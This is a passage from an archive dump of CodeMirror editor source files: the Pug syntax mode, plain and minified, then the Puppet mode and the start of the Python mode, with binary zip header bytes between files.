    res.attrValue = this.attrValue;
    res.indentOf = this.indentOf;
    res.indentToken = this.indentToken;

    res.innerModeForLine = this.innerModeForLine;

    return res;
  };

  function javaScript(stream, state) {
    if (stream.sol()) {
      // if javaScriptLine was set at end of line, ignore it
      state.javaScriptLine = false;
      state.javaScriptLineExcludesColon = false;
    }
    if (state.javaScriptLine) {
      if (state.javaScriptLineExcludesColon && stream.peek() ===
':') {
        state.javaScriptLine = false;
        state.javaScriptLineExcludesColon = false;
        return;
      }
      var tok = jsMode.token(stream, state.jsState);
      if (stream.eol()) state.javaScriptLine = false;
      return tok || true;
    }
  }
  function javaScriptArguments(stream, state) {
    if (state.javaScriptArguments) {
      if (state.javaScriptArgumentsDepth === 0 && stream.peek() !==
'(') {
        state.javaScriptArguments = false;
        return;
      }
      if (stream.peek() === '(') {
        state.javaScriptArgumentsDepth++;
      } else if (stream.peek() === ')') {
        state.javaScriptArgumentsDepth--;
      }
      if (state.javaScriptArgumentsDepth === 0) {
        state.javaScriptArguments = false;
        return;
      }

      var tok = jsMode.token(stream, state.jsState);
      return tok || true;
    }
  }

  function yieldStatement(stream) {
    if (stream.match(/^yield\b/)) {
        return 'keyword';
    }
  }

  function doctype(stream) {
    if (stream.match(/^(?:doctype) *([^\n]+)?/)) {
        return DOCTYPE;
    }
  }

  function interpolation(stream, state) {
    if (stream.match('#{')) {
      state.isInterpolating = true;
      state.interpolationNesting = 0;
      return 'punctuation';
    }
  }

  function interpolationContinued(stream, state) {
    if (state.isInterpolating) {
      if (stream.peek() === '}') {
        state.interpolationNesting--;
        if (state.interpolationNesting < 0) {
          stream.next();
          state.isInterpolating = false;
          return 'punctuation';
        }
      } else if (stream.peek() === '{') {
        state.interpolationNesting++;
      }
      return jsMode.token(stream, state.jsState) || true;
    }
  }

  function caseStatement(stream, state) {
    if (stream.match(/^case\b/)) {
      state.javaScriptLine = true;
      return KEYWORD;
    }
  }

  function when(stream, state) {
    if (stream.match(/^when\b/)) {
      state.javaScriptLine = true;
      state.javaScriptLineExcludesColon = true;
      return KEYWORD;
    }
  }

  function defaultStatement(stream) {
    if (stream.match(/^default\b/)) {
      return KEYWORD;
    }
  }

  function extendsStatement(stream, state) {
    if (stream.match(/^extends?\b/)) {
      state.restOfLine = 'string';
      return KEYWORD;
    }
  }

  function append(stream, state) {
    if (stream.match(/^append\b/)) {
      state.restOfLine = 'variable';
      return KEYWORD;
    }
  }
  function prepend(stream, state) {
    if (stream.match(/^prepend\b/)) {
      state.restOfLine = 'variable';
      return KEYWORD;
    }
  }
  function block(stream, state) {
    if (stream.match(/^block\b *(?:(prepend|append)\b)?/)) {
      state.restOfLine = 'variable';
      return KEYWORD;
    }
  }

  function include(stream, state) {
    if (stream.match(/^include\b/)) {
      state.restOfLine = 'string';
      return KEYWORD;
    }
  }

  function includeFiltered(stream, state) {
    if (stream.match(/^include:([a-zA-Z0-9\-]+)/, false) &&
stream.match('include')) {
      state.isIncludeFiltered = true;
      return KEYWORD;
    }
  }

  function includeFilteredContinued(stream, state) {
    if (state.isIncludeFiltered) {
      var tok = filter(stream, state);
      state.isIncludeFiltered = false;
      state.restOfLine = 'string';
      return tok;
    }
  }

  function mixin(stream, state) {
    if (stream.match(/^mixin\b/)) {
      state.javaScriptLine = true;
      return KEYWORD;
    }
  }

  function call(stream, state) {
    if (stream.match(/^\+([-\w]+)/)) {
      if (!stream.match(/^\( *[-\w]+ *=/, false)) {
        state.javaScriptArguments = true;
        state.javaScriptArgumentsDepth = 0;
      }
      return 'variable';
    }
    if (stream.match(/^\+#{/, false)) {
      stream.next();
      state.mixinCallAfter = true;
      return interpolation(stream, state);
    }
  }
  function callArguments(stream, state) {
    if (state.mixinCallAfter) {
      state.mixinCallAfter = false;
      if (!stream.match(/^\( *[-\w]+ *=/, false)) {
        state.javaScriptArguments = true;
        state.javaScriptArgumentsDepth = 0;
      }
      return true;
    }
  }

  function conditional(stream, state) {
    if (stream.match(/^(if|unless|else if|else)\b/)) {
      state.javaScriptLine = true;
      return KEYWORD;
    }
  }

  function each(stream, state) {
    if (stream.match(/^(- *)?(each|for)\b/)) {
      state.isEach = true;
      return KEYWORD;
    }
  }
  function eachContinued(stream, state) {
    if (state.isEach) {
      if (stream.match(/^ in\b/)) {
        state.javaScriptLine = true;
        state.isEach = false;
        return KEYWORD;
      } else if (stream.sol() || stream.eol()) {
        state.isEach = false;
      } else if (stream.next()) {
        while (!stream.match(/^ in\b/, false) && stream.next());
        return 'variable';
      }
    }
  }

  function whileStatement(stream, state) {
    if (stream.match(/^while\b/)) {
      state.javaScriptLine = true;
      return KEYWORD;
    }
  }

  function tag(stream, state) {
    var captures;
    if (captures = stream.match(/^(\w(?:[-:\w]*\w)?)\/?/)) {
      state.lastTag = captures[1].toLowerCase();
      if (state.lastTag === 'script') {
        state.scriptType = 'application/javascript';
      }
      return 'tag';
    }
  }

  function filter(stream, state) {
    if (stream.match(/^:([\w\-]+)/)) {
      var innerMode;
      if (config && config.innerModes) {
        innerMode = config.innerModes(stream.current().substring(1));
      }
      if (!innerMode) {
        innerMode = stream.current().substring(1);
      }
      if (typeof innerMode === 'string') {
        innerMode = CodeMirror.getMode(config, innerMode);
      }
      setInnerMode(stream, state, innerMode);
      return 'atom';
    }
  }

  function code(stream, state) {
    if (stream.match(/^(!?=|-)/)) {
      state.javaScriptLine = true;
      return 'punctuation';
    }
  }

  function id(stream) {
    if (stream.match(/^#([\w-]+)/)) {
      return ID;
    }
  }

  function className(stream) {
    if (stream.match(/^\.([\w-]+)/)) {
      return CLASS;
    }
  }

  function attrs(stream, state) {
    if (stream.peek() == '(') {
      stream.next();
      state.isAttrs = true;
      state.attrsNest = [];
      state.inAttributeName = true;
      state.attrValue = '';
      state.attributeIsType = false;
      return 'punctuation';
    }
  }

  function attrsContinued(stream, state) {
    if (state.isAttrs) {
      if (ATTRS_NEST[stream.peek()]) {
        state.attrsNest.push(ATTRS_NEST[stream.peek()]);
      }
      if (state.attrsNest[state.attrsNest.length - 1] === stream.peek()) {
        state.attrsNest.pop();
      } else  if (stream.eat(')')) {
        state.isAttrs = false;
        return 'punctuation';
      }
      if (state.inAttributeName && stream.match(/^[^=,\)!]+/)) {
        if (stream.peek() === '=' || stream.peek() ===
'!') {
          state.inAttributeName = false;
          state.jsState = CodeMirror.startState(jsMode);
          if (state.lastTag === 'script' &&
stream.current().trim().toLowerCase() === 'type') {
            state.attributeIsType = true;
          } else {
            state.attributeIsType = false;
          }
        }
        return 'attribute';
      }

      var tok = jsMode.token(stream, state.jsState);
      if (state.attributeIsType && tok === 'string') {
        state.scriptType = stream.current().toString();
      }
      if (state.attrsNest.length === 0 && (tok ===
'string' || tok === 'variable' || tok ===
'keyword')) {
        try {
          Function('', 'var x ' +
state.attrValue.replace(/,\s*$/, '').replace(/^!/,
''));
          state.inAttributeName = true;
          state.attrValue = '';
          stream.backUp(stream.current().length);
          return attrsContinued(stream, state);
        } catch (ex) {
          //not the end of an attribute
        }
      }
      state.attrValue += stream.current();
      return tok || true;
    }
  }

  function attributesBlock(stream, state) {
    if (stream.match(/^&attributes\b/)) {
      state.javaScriptArguments = true;
      state.javaScriptArgumentsDepth = 0;
      return 'keyword';
    }
  }

  function indent(stream) {
    if (stream.sol() && stream.eatSpace()) {
      return 'indent';
    }
  }

  function comment(stream, state) {
    if (stream.match(/^ *\/\/(-)?([^\n]*)/)) {
      state.indentOf = stream.indentation();
      state.indentToken = 'comment';
      return 'comment';
    }
  }

  function colon(stream) {
    if (stream.match(/^: */)) {
      return 'colon';
    }
  }

  function text(stream, state) {
    if (stream.match(/^(?:\| ?| )([^\n]+)/)) {
      return 'string';
    }
    if (stream.match(/^(<[^\n]*)/, false)) {
      // html string
      setInnerMode(stream, state, 'htmlmixed');
      state.innerModeForLine = true;
      return innerMode(stream, state, true);
    }
  }

  function dot(stream, state) {
    if (stream.eat('.')) {
      var innerMode = null;
      if (state.lastTag === 'script' &&
state.scriptType.toLowerCase().indexOf('javascript') != -1) {
        innerMode =
state.scriptType.toLowerCase().replace(/"|'/g, '');
      } else if (state.lastTag === 'style') {
        innerMode = 'css';
      }
      setInnerMode(stream, state, innerMode);
      return 'dot';
    }
  }

  function fail(stream) {
    stream.next();
    return null;
  }


  function setInnerMode(stream, state, mode) {
    mode = CodeMirror.mimeModes[mode] || mode;
    mode = config.innerModes ? config.innerModes(mode) || mode : mode;
    mode = CodeMirror.mimeModes[mode] || mode;
    mode = CodeMirror.getMode(config, mode);
    state.indentOf = stream.indentation();

    if (mode && mode.name !== 'null') {
      state.innerMode = mode;
    } else {
      state.indentToken = 'string';
    }
  }
  function innerMode(stream, state, force) {
    if (stream.indentation() > state.indentOf || (state.innerModeForLine
&& !stream.sol()) || force) {
      if (state.innerMode) {
        if (!state.innerState) {
          state.innerState = state.innerMode.startState ?
CodeMirror.startState(state.innerMode, stream.indentation()) : {};
        }
        return stream.hideFirstChars(state.indentOf + 2, function () {
          return state.innerMode.token(stream, state.innerState) || true;
        });
      } else {
        stream.skipToEnd();
        return state.indentToken;
      }
    } else if (stream.sol()) {
      state.indentOf = Infinity;
      state.indentToken = null;
      state.innerMode = null;
      state.innerState = null;
    }
  }
  function restOfLine(stream, state) {
    if (stream.sol()) {
      // if restOfLine was set at end of line, ignore it
      state.restOfLine = '';
    }
    if (state.restOfLine) {
      stream.skipToEnd();
      var tok = state.restOfLine;
      state.restOfLine = '';
      return tok;
    }
  }


  function startState() {
    return new State();
  }
  function copyState(state) {
    return state.copy();
  }
  /**
   * Get the next token in the stream
   *
   * @param {Stream} stream
   * @param {State} state
   */
  function nextToken(stream, state) {
    var tok = innerMode(stream, state)
      || restOfLine(stream, state)
      || interpolationContinued(stream, state)
      || includeFilteredContinued(stream, state)
      || eachContinued(stream, state)
      || attrsContinued(stream, state)
      || javaScript(stream, state)
      || javaScriptArguments(stream, state)
      || callArguments(stream, state)

      || yieldStatement(stream)
      || doctype(stream)
      || interpolation(stream, state)
      || caseStatement(stream, state)
      || when(stream, state)
      || defaultStatement(stream)
      || extendsStatement(stream, state)
      || append(stream, state)
      || prepend(stream, state)
      || block(stream, state)
      || include(stream, state)
      || includeFiltered(stream, state)
      || mixin(stream, state)
      || call(stream, state)
      || conditional(stream, state)
      || each(stream, state)
      || whileStatement(stream, state)
      || tag(stream, state)
      || filter(stream, state)
      || code(stream, state)
      || id(stream)
      || className(stream)
      || attrs(stream, state)
      || attributesBlock(stream, state)
      || indent(stream)
      || text(stream, state)
      || comment(stream, state)
      || colon(stream)
      || dot(stream, state)
      || fail(stream);

    return tok === true ? null : tok;
  }
  return {
    startState: startState,
    copyState: copyState,
    token: nextToken
  };
}, 'javascript', 'css', 'htmlmixed');

CodeMirror.defineMIME('text/x-pug', 'pug');
CodeMirror.defineMIME('text/x-jade', 'pug');

});
PKJ��[�p�H��codemirror/mode/pug/pug.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../javascript/javascript"),require("../css/css"),require("../htmlmixed/htmlmixed")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../javascript/javascript","../css/css","../htmlmixed/htmlmixed"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("pug",(function(b){function
c(){this.javaScriptLine=!1,this.javaScriptLineExcludesColon=!1,this.javaScriptArguments=!1,this.javaScriptArgumentsDepth=0,this.isInterpolating=!1,this.interpolationNesting=0,this.jsState=a.startState(Z),this.restOfLine="",this.isIncludeFiltered=!1,this.isEach=!1,this.lastTag="",this.scriptType="",this.isAttrs=!1,this.attrsNest=[],this.inAttributeName=!0,this.attributeIsType=!1,this.attrValue="",this.indentOf=1/0,this.indentToken="",this.innerMode=null,this.innerState=null,this.innerModeForLine=!1}function
d(a,b){if(a.sol()&&(b.javaScriptLine=!1,b.javaScriptLineExcludesColon=!1),b.javaScriptLine){if(b.javaScriptLineExcludesColon&&":"===a.peek())return
b.javaScriptLine=!1,void(b.javaScriptLineExcludesColon=!1);var
c=Z.token(a,b.jsState);return
a.eol()&&(b.javaScriptLine=!1),c||!0}}function
e(a,b){if(b.javaScriptArguments){if(0===b.javaScriptArgumentsDepth&&"("!==a.peek())return
void(b.javaScriptArguments=!1);if("("===a.peek()?b.javaScriptArgumentsDepth++:")"===a.peek()&&b.javaScriptArgumentsDepth--,0===b.javaScriptArgumentsDepth)return
void(b.javaScriptArguments=!1);return Z.token(a,b.jsState)||!0}}function
f(a){if(a.match(/^yield\b/))return"keyword"}function
g(a){if(a.match(/^(?:doctype) *([^\n]+)?/))return V}function
h(a,b){if(a.match("#{"))return
b.isInterpolating=!0,b.interpolationNesting=0,"punctuation"}function
i(a,b){if(b.isInterpolating){if("}"===a.peek()){if(--b.interpolationNesting<0)return
a.next(),b.isInterpolating=!1,"punctuation"}else"{"===a.peek()&&b.interpolationNesting++;return
Z.token(a,b.jsState)||!0}}function j(a,b){if(a.match(/^case\b/))return
b.javaScriptLine=!0,U}function k(a,b){if(a.match(/^when\b/))return
b.javaScriptLine=!0,b.javaScriptLineExcludesColon=!0,U}function
l(a){if(a.match(/^default\b/))return U}function
m(a,b){if(a.match(/^extends?\b/))return
b.restOfLine="string",U}function
n(a,b){if(a.match(/^append\b/))return
b.restOfLine="variable",U}function
o(a,b){if(a.match(/^prepend\b/))return
b.restOfLine="variable",U}function p(a,b){if(a.match(/^block\b
*(?:(prepend|append)\b)?/))return
b.restOfLine="variable",U}function
q(a,b){if(a.match(/^include\b/))return
b.restOfLine="string",U}function
r(a,b){if(a.match(/^include:([a-zA-Z0-9\-]+)/,!1)&&a.match("include"))return
b.isIncludeFiltered=!0,U}function s(a,b){if(b.isIncludeFiltered){var
c=B(a,b);return
b.isIncludeFiltered=!1,b.restOfLine="string",c}}function
t(a,b){if(a.match(/^mixin\b/))return b.javaScriptLine=!0,U}function
u(a,b){return a.match(/^\+([-\w]+)/)?(a.match(/^\( *[-\w]+
*=/,!1)||(b.javaScriptArguments=!0,b.javaScriptArgumentsDepth=0),"variable"):a.match(/^\+#{/,!1)?(a.next(),b.mixinCallAfter=!0,h(a,b)):void
0}function v(a,b){if(b.mixinCallAfter)return
b.mixinCallAfter=!1,a.match(/^\( *[-\w]+
*=/,!1)||(b.javaScriptArguments=!0,b.javaScriptArgumentsDepth=0),!0}function
w(a,b){if(a.match(/^(if|unless|else if|else)\b/))return
b.javaScriptLine=!0,U}function x(a,b){if(a.match(/^(-
*)?(each|for)\b/))return b.isEach=!0,U}function
y(a,b){if(b.isEach){if(a.match(/^ in\b/))return
b.javaScriptLine=!0,b.isEach=!1,U;if(a.sol()||a.eol())b.isEach=!1;else
if(a.next()){for(;!a.match(/^
in\b/,!1)&&a.next(););return"variable"}}}function
z(a,b){if(a.match(/^while\b/))return b.javaScriptLine=!0,U}function
A(a,b){var c;if(c=a.match(/^(\w(?:[-:\w]*\w)?)\/?/))return
b.lastTag=c[1].toLowerCase(),"script"===b.lastTag&&(b.scriptType="application/javascript"),"tag"}function
B(c,d){if(c.match(/^:([\w\-]+)/)){var e;return
b&&b.innerModes&&(e=b.innerModes(c.current().substring(1))),e||(e=c.current().substring(1)),"string"==typeof
e&&(e=a.getMode(b,e)),O(c,d,e),"atom"}}function
C(a,b){if(a.match(/^(!?=|-)/))return
b.javaScriptLine=!0,"punctuation"}function
D(a){if(a.match(/^#([\w-]+)/))return W}function
E(a){if(a.match(/^\.([\w-]+)/))return X}function
F(a,b){if("("==a.peek())return
a.next(),b.isAttrs=!0,b.attrsNest=[],b.inAttributeName=!0,b.attrValue="",b.attributeIsType=!1,"punctuation"}function
G(b,c){if(c.isAttrs){if(Y[b.peek()]&&c.attrsNest.push(Y[b.peek()]),c.attrsNest[c.attrsNest.length-1]===b.peek())c.attrsNest.pop();else
if(b.eat(")"))return
c.isAttrs=!1,"punctuation";if(c.inAttributeName&&b.match(/^[^=,\)!]+/))return"="!==b.peek()&&"!"!==b.peek()||(c.inAttributeName=!1,c.jsState=a.startState(Z),"script"===c.lastTag&&"type"===b.current().trim().toLowerCase()?c.attributeIsType=!0:c.attributeIsType=!1),"attribute";var
d=Z.token(b,c.jsState);if(c.attributeIsType&&"string"===d&&(c.scriptType=b.current().toString()),0===c.attrsNest.length&&("string"===d||"variable"===d||"keyword"===d))try{return
Function("","var x
"+c.attrValue.replace(/,\s*$/,"").replace(/^!/,"")),c.inAttributeName=!0,c.attrValue="",b.backUp(b.current().length),G(b,c)}catch(a){}return
c.attrValue+=b.current(),d||!0}}function
H(a,b){if(a.match(/^&attributes\b/))return
b.javaScriptArguments=!0,b.javaScriptArgumentsDepth=0,"keyword"}function
I(a){if(a.sol()&&a.eatSpace())return"indent"}function
J(a,b){if(a.match(/^ *\/\/(-)?([^\n]*)/))return
b.indentOf=a.indentation(),b.indentToken="comment","comment"}function
K(a){if(a.match(/^: */))return"colon"}function L(a,b){return
a.match(/^(?:\| ?|
)([^\n]+)/)?"string":a.match(/^(<[^\n]*)/,!1)?(O(a,b,"htmlmixed"),b.innerModeForLine=!0,P(a,b,!0)):void
0}function M(a,b){if(a.eat(".")){var
c=null;return"script"===b.lastTag&&-1!=b.scriptType.toLowerCase().indexOf("javascript")?c=b.scriptType.toLowerCase().replace(/"|'/g,""):"style"===b.lastTag&&(c="css"),O(a,b,c),"dot"}}function
N(a){return a.next(),null}function
O(c,d,e){e=a.mimeModes[e]||e,e=b.innerModes?b.innerModes(e)||e:e,e=a.mimeModes[e]||e,e=a.getMode(b,e),d.indentOf=c.indentation(),e&&"null"!==e.name?d.innerMode=e:d.indentToken="string"}function
P(b,c,d){if(b.indentation()>c.indentOf||c.innerModeForLine&&!b.sol()||d)return
c.innerMode?(c.innerState||(c.innerState=c.innerMode.startState?a.startState(c.innerMode,b.indentation()):{}),b.hideFirstChars(c.indentOf+2,(function(){return
c.innerMode.token(b,c.innerState)||!0}))):(b.skipToEnd(),c.indentToken);b.sol()&&(c.indentOf=1/0,c.indentToken=null,c.innerMode=null,c.innerState=null)}function
Q(a,b){if(a.sol()&&(b.restOfLine=""),b.restOfLine){a.skipToEnd();var
c=b.restOfLine;return b.restOfLine="",c}}function R(){return new
c}function S(a){return a.copy()}function T(a,b){var
c=P(a,b)||Q(a,b)||i(a,b)||s(a,b)||y(a,b)||G(a,b)||d(a,b)||e(a,b)||v(a,b)||f(a)||g(a)||h(a,b)||j(a,b)||k(a,b)||l(a)||m(a,b)||n(a,b)||o(a,b)||p(a,b)||q(a,b)||r(a,b)||t(a,b)||u(a,b)||w(a,b)||x(a,b)||z(a,b)||A(a,b)||B(a,b)||C(a,b)||D(a)||E(a)||F(a,b)||H(a,b)||I(a)||L(a,b)||J(a,b)||K(a)||M(a,b)||N(a);return!0===c?null:c}var
U="keyword",V="meta",W="builtin",X="qualifier",Y={"{":"}","(":")","[":"]"},Z=a.getMode(b,"javascript");return
c.prototype.copy=function(){var b=new c;return
b.javaScriptLine=this.javaScriptLine,b.javaScriptLineExcludesColon=this.javaScriptLineExcludesColon,b.javaScriptArguments=this.javaScriptArguments,b.javaScriptArgumentsDepth=this.javaScriptArgumentsDepth,b.isInterpolating=this.isInterpolating,b.interpolationNesting=this.interpolationNesting,b.jsState=a.copyState(Z,this.jsState),b.innerMode=this.innerMode,this.innerMode&&this.innerState&&(b.innerState=a.copyState(this.innerMode,this.innerState)),b.restOfLine=this.restOfLine,b.isIncludeFiltered=this.isIncludeFiltered,b.isEach=this.isEach,b.lastTag=this.lastTag,b.scriptType=this.scriptType,b.isAttrs=this.isAttrs,b.attrsNest=this.attrsNest.slice(),b.inAttributeName=this.inAttributeName,b.attributeIsType=this.attributeIsType,b.attrValue=this.attrValue,b.indentOf=this.indentOf,b.indentToken=this.indentToken,b.innerModeForLine=this.innerModeForLine,b},{startState:R,copyState:S,token:T}}),"javascript","css","htmlmixed"),a.defineMIME("text/x-pug","pug"),a.defineMIME("text/x-jade","pug")}));PKJ��[�����
codemirror/mode/puppet/puppet.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("puppet", function () {
  // Stores the words from the define method
  var words = {};
  // Taken, mostly, from the Puppet official variable standards regex
  var variable_regex =
/({)?([a-z][a-z0-9_]*)?((::[a-z][a-z0-9_]*)*::)?[a-zA-Z0-9_]+(})?/;

  // Takes a string of words separated by spaces and adds them as
  // keys with the value of the first argument 'style'
  function define(style, string) {
    var split = string.split(' ');
    for (var i = 0; i < split.length; i++) {
      words[split[i]] = style;
    }
  }

  // Takes commonly known puppet types/words and classifies them to a style
  define('keyword', 'class define site node include import
inherits');
  define('keyword', 'case if else in and elsif default
or');
  define('atom', 'false true running present absent file
directory undef');
  define('builtin', 'action augeas burst chain computer cron
destination dport exec ' +
    'file filebucket group host icmp iniface interface jump k5login
limit log_level ' +
    'log_prefix macauthorization mailalias maillist mcx mount
nagios_command ' +
    'nagios_contact nagios_contactgroup nagios_host
nagios_hostdependency ' +
    'nagios_hostescalation nagios_hostextinfo nagios_hostgroup
nagios_service ' +
    'nagios_servicedependency nagios_serviceescalation
nagios_serviceextinfo ' +
    'nagios_servicegroup nagios_timeperiod name notify outiface
package proto reject ' +
    'resources router schedule scheduled_task selboolean selmodule
service source ' +
    'sport ssh_authorized_key sshkey stage state table tidy todest
toports tosource ' +
    'user vlan yumrepo zfs zone zpool');

  // After finding a start of a string ('|") this function
attempts to find the end;
  // If a variable is encountered along the way, we display it differently
when it
  // is encapsulated in a double-quoted string.
  function tokenString(stream, state) {
    var current, prev, found_var = false;
    while (!stream.eol() && (current = stream.next()) !=
state.pending) {
      if (current === '$' && prev != '\\'
&& state.pending == '"') {
        found_var = true;
        break;
      }
      prev = current;
    }
    if (found_var) {
      stream.backUp(1);
    }
    if (current == state.pending) {
      state.continueString = false;
    } else {
      state.continueString = true;
    }
    return "string";
  }

  // Main function
  function tokenize(stream, state) {
    // Matches one whole word
    var word = stream.match(/[\w]+/, false);
    // Matches attributes (i.e. ensure => present ; 'ensure'
would be matched)
    var attribute = stream.match(/(\s+)?\w+\s+=>.*/, false);
    // Matches non-builtin resource declarations
    // (i.e. "apache::vhost {" or "mycustomclasss {"
would be matched)
    var resource = stream.match(/(\s+)?[\w:_]+(\s+)?{/, false);
    // Matches virtual and exported resources (i.e. @@user { ; and the
like)
    var special_resource = stream.match(/(\s+)?[@]{1,2}[\w:_]+(\s+)?{/,
false);

    // Finally advance the stream
    var ch = stream.next();

    // Have we found a variable?
    if (ch === '$') {
      if (stream.match(variable_regex)) {
        // If so, and its in a string, assign it a different color
        return state.continueString ? 'variable-2' :
'variable';
      }
      // Otherwise return an invalid variable
      return "error";
    }
    // Should we still be looking for the end of a string?
    if (state.continueString) {
      // If so, go through the loop again
      stream.backUp(1);
      return tokenString(stream, state);
    }
    // Are we in a definition (class, node, define)?
    if (state.inDefinition) {
      // If so, return def (i.e. for 'class myclass {' ;
'myclass' would be matched)
      if (stream.match(/(\s+)?[\w:_]+(\s+)?/)) {
        return 'def';
      }
      // Match the rest it the next time around
      stream.match(/\s+{/);
      state.inDefinition = false;
    }
    // Are we in an 'include' statement?
    if (state.inInclude) {
      // Match and return the included class
      stream.match(/(\s+)?\S+(\s+)?/);
      state.inInclude = false;
      return 'def';
    }
    // Do we just have a function on our hands?
    // In 'ensure_resource("myclass")',
'ensure_resource' is matched
    if (stream.match(/(\s+)?\w+\(/)) {
      stream.backUp(1);
      return 'def';
    }
    // Have we matched the prior attribute regex?
    if (attribute) {
      stream.match(/(\s+)?\w+/);
      return 'tag';
    }
    // Do we have Puppet specific words?
    if (word && words.hasOwnProperty(word)) {
      // Negates the initial next()
      stream.backUp(1);
      // rs move the stream
      stream.match(/[\w]+/);
      // We want to process these words differently
      // do to the importance they have in Puppet
      if (stream.match(/\s+\S+\s+{/, false)) {
        state.inDefinition = true;
      }
      if (word == 'include') {
        state.inInclude = true;
      }
      // Returns their value as state in the prior define methods
      return words[word];
    }
    // Is there a match on a reference?
    if (/(^|\s+)[A-Z][\w:_]+/.test(word)) {
      // Negate the next()
      stream.backUp(1);
      // Match the full reference
      stream.match(/(^|\s+)[A-Z][\w:_]+/);
      return 'def';
    }
    // Have we matched the prior resource regex?
    if (resource) {
      stream.match(/(\s+)?[\w:_]+/);
      return 'def';
    }
    // Have we matched the prior special_resource regex?
    if (special_resource) {
      stream.match(/(\s+)?[@]{1,2}/);
      return 'special';
    }
    // Match all the comments. All of them.
    if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    }
    // Have we found a string?
    if (ch == "'" || ch == '"') {
      // Store the type (single or double)
      state.pending = ch;
      // Perform the looping function to find the end
      return tokenString(stream, state);
    }
    // Match all the brackets
    if (ch == '{' || ch == '}') {
      return 'bracket';
    }
    // Match characters that we are going to assume
    // are trying to be regex
    if (ch == '/') {
      stream.match(/.*?\//);
      return 'variable-3';
    }
    // Match all the numbers
    if (ch.match(/[0-9]/)) {
      stream.eatWhile(/[0-9]+/);
      return 'number';
    }
    // Match the '=' and '=>' operators
    if (ch == '=') {
      if (stream.peek() == '>') {
          stream.next();
      }
      return "operator";
    }
    // Keep advancing through all the rest
    stream.eatWhile(/[\w-]/);
    // Return a blank line for everything else
    return null;
  }
  // Start it all
  return {
    startState: function () {
      var state = {};
      state.inDefinition = false;
      state.inInclude = false;
      state.continueString = false;
      state.pending = false;
      return state;
    },
    token: function (stream, state) {
      // Strip the spaces, but regex will account for them eitherway
      if (stream.eatSpace()) return null;
      // Go through the main process
      return tokenize(stream, state);
    }
  };
});

CodeMirror.defineMIME("text/x-puppet", "puppet");

});
PKJ��[WJ���
�
$codemirror/mode/puppet/puppet.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("puppet",(function(){function
a(a,b){for(var c=b.split("
"),e=0;e<c.length;e++)d[c[e]]=a}function b(a,b){for(var
c,d,e=!1;!a.eol()&&(c=a.next())!=b.pending;){if("$"===c&&"\\"!=d&&'"'==b.pending){e=!0;break}d=c}return
e&&a.backUp(1),c==b.pending?b.continueString=!1:b.continueString=!0,"string"}function
c(a,c){var
f=a.match(/[\w]+/,!1),g=a.match(/(\s+)?\w+\s+=>.*/,!1),h=a.match(/(\s+)?[\w:_]+(\s+)?{/,!1),i=a.match(/(\s+)?[@]{1,2}[\w:_]+(\s+)?{/,!1),j=a.next();if("$"===j)return
a.match(e)?c.continueString?"variable-2":"variable":"error";if(c.continueString)return
a.backUp(1),b(a,c);if(c.inDefinition){if(a.match(/(\s+)?[\w:_]+(\s+)?/))return"def";a.match(/\s+{/),c.inDefinition=!1}return
c.inInclude?(a.match(/(\s+)?\S+(\s+)?/),c.inInclude=!1,"def"):a.match(/(\s+)?\w+\(/)?(a.backUp(1),"def"):g?(a.match(/(\s+)?\w+/),"tag"):f&&d.hasOwnProperty(f)?(a.backUp(1),a.match(/[\w]+/),a.match(/\s+\S+\s+{/,!1)&&(c.inDefinition=!0),"include"==f&&(c.inInclude=!0),d[f]):/(^|\s+)[A-Z][\w:_]+/.test(f)?(a.backUp(1),a.match(/(^|\s+)[A-Z][\w:_]+/),"def"):h?(a.match(/(\s+)?[\w:_]+/),"def"):i?(a.match(/(\s+)?[@]{1,2}/),"special"):"#"==j?(a.skipToEnd(),"comment"):"'"==j||'"'==j?(c.pending=j,b(a,c)):"{"==j||"}"==j?"bracket":"/"==j?(a.match(/.*?\//),"variable-3"):j.match(/[0-9]/)?(a.eatWhile(/[0-9]+/),"number"):"="==j?(">"==a.peek()&&a.next(),"operator"):(a.eatWhile(/[\w-]/),null)}var
d={},e=/({)?([a-z][a-z0-9_]*)?((::[a-z][a-z0-9_]*)*::)?[a-zA-Z0-9_]+(})?/;return
a("keyword","class define site node include import
inherits"),a("keyword","case if else in and elsif
default or"),a("atom","false true running present
absent file directory undef"),a("builtin","action
augeas burst chain computer cron destination dport exec file filebucket
group host icmp iniface interface jump k5login limit log_level log_prefix
macauthorization mailalias maillist mcx mount nagios_command nagios_contact
nagios_contactgroup nagios_host nagios_hostdependency nagios_hostescalation
nagios_hostextinfo nagios_hostgroup nagios_service nagios_servicedependency
nagios_serviceescalation nagios_serviceextinfo nagios_servicegroup
nagios_timeperiod name notify outiface package proto reject resources
router schedule scheduled_task selboolean selmodule service source sport
ssh_authorized_key sshkey stage state table tidy todest toports tosource
user vlan yumrepo zfs zone zpool"),{startState:function(){var
a={};return
a.inDefinition=!1,a.inInclude=!1,a.continueString=!1,a.pending=!1,a},token:function(a,b){return
a.eatSpace()?null:c(a,b)}}})),a.defineMIME("text/x-puppet","puppet")}));PKJ��[����9�9
codemirror/mode/python/python.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function wordRegexp(words) {
    return new RegExp("^((" + words.join(")|(") +
"))\\b");
  }

  var wordOperators = wordRegexp(["and", "or",
"not", "is"]);
  var commonKeywords = ["as", "assert",
"break", "class", "continue",
                        "def", "del", "elif",
"else", "except", "finally",
                        "for", "from",
"global", "if", "import",
                        "lambda", "pass",
